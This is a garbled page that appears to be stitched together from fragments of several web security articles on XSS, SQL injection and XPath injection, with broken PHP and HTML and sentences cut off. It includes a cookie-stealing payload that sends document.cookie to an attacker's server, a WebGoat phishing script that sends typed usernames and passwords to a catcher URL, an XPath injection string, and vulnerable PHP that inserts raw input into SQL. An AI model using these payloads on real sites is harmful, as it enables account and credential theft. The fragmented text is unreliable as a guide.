xss attack

","5688");mysql_select_db("test",$conn);mysql_query(‘set names "utf8"‘);$sql_insert = "insert into liuyan(content) values(‘$name‘)";$result = mysql_query($sql_insert,$conn);$sql_select = "select * from liuyan";$results = mysql_fetch_array(mysql_query($sql_select));echo $results[content];?> Step 1: ?name=Step 2: result 123456789101112131415161718 /** DOM Based XSS 演示*/error_reporting(0);$name = $_GET[‘name‘];?>"text" type="tex

Talking about PHP security and anti-SQL injection, prevent XSS attack, anti-theft chain, anti-CSRF Objective: First of all, the author is not a web security experts, so this is not a Web security expert-level article, but learning notes, careful summary of the article, there are some of our phper not easy to find or say not to pay attention to things. So I write down to facilitate later inspection. There

file as follows: 1 XML version= "1.0" encoding= "UTF-8"?>2 Users>3 Admin>4 name>Adminname>5 Password>123Password>6 Admin>7 Users> The corresponding query language might be: Users/admin[name/text () = ' admin ' and password/text () = ' 123 '] If you enter ' or ' 1 ' = ' in the user name and password box, the 1,xpath statement becomes: Users/admin[name/text () = ' or ' 1 ' = ' 1 ' and password/text () = ' or ' 1 ' = ' 1 '] The predicate inside the parentheses results in T

EMail: rayh4c # 80sec.com Site: www.80sec.com Date: 2011-10-13 0 × 00 Preface As we all know, the risk definitions of XSS vulnerabilities have been vague, and cross-site scripting (XSS) vulnerabilities are both high-risk and low-risk vulnerabilities that have been controversial for a long time. There are two types of XSS vulnerabilities: persistent and non-persis

obtained without sound information. Of course, the flexible use of DEDECMS is more dependent on the divergent thinking of hackers. For example, IE8/9 can intercept url xss, we can use a persistent XSS or dom xss as the payload for this type of XSS Rootkit vulnerability. In addition, the cookie setting is not limited t

reason is that the XSS code is embedded in the The two Figure 10 XSS is displayed successfully The above is a typical persistent XSS, which is triggered only when the Administrator checks the message. This type of XSS scenario can provide a lot of space, because it attacks the background administrator, and the att

Turn http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.htmlThe XSS full name (cross site Scripting) multi-site Scripting attack is the most common vulnerability in Web applications. An attacker embeds a client script (such as JavaScript) in a Web page, and when the user browses to the page, the script executes on the user's browser to achieve the attacker's purpose. For example, get the user's cook

This article mainly describes the suggestions for XSS security defense against cross-site scripting attacks, if you are interested in the XSS security defense suggestions, you can click the following article to view details. XSS attacks are the biggest threat to Web Services. They do not only harm Web services, but also directly affect users who access Web servic

= "http: // myserver/cookie. php" + document. cookie.Or if you have space to store links to custom content, you can enter:Javascript: location. href = "http: // myserver/cookie. php" + document. cookieThis will intercept the cookie of the user accessing our data. This can be used anywhere, not just on the data. It is just an example. Sometimes a site will display your UserAgent and Referer... now let's try some XSS at the DOS prompt or in the command

Web Security XSSSimple Reflective XSS Fishing DemoForm>Script> functionHack) {xssimage=New Image; Xssimage.src="Http://localhost:8080/WebGoat/catcher?PROPERTY=yesuser=" +Document.phish.user.value +"password=" +Document.phish.pass.value +""; Alert"Had this been a real attack ... Your credentials were just stolen. User Name = "+Document.phish.user.value +"Password =" +Document.phish.pass.value);}Script>FormNa

[In-depth study of Web security] in-depth use of XSS vulnerabilities and in-depth study of xss Preface Starting from this lesson, Xiaozhai has changed the layout again, hoping to give you a better reading experience. The basic principle of XSS is HTML code injection. In this lesson, we will take a deeper look at How To Exploit

[Web security practices] XSS Article Points: 1. Understand XSS 2. XSS attacks 3. XSS defense (important)I. Understanding XSS first Let's start with a story. In the previous article, I also want to talk about this case. In fact, what is a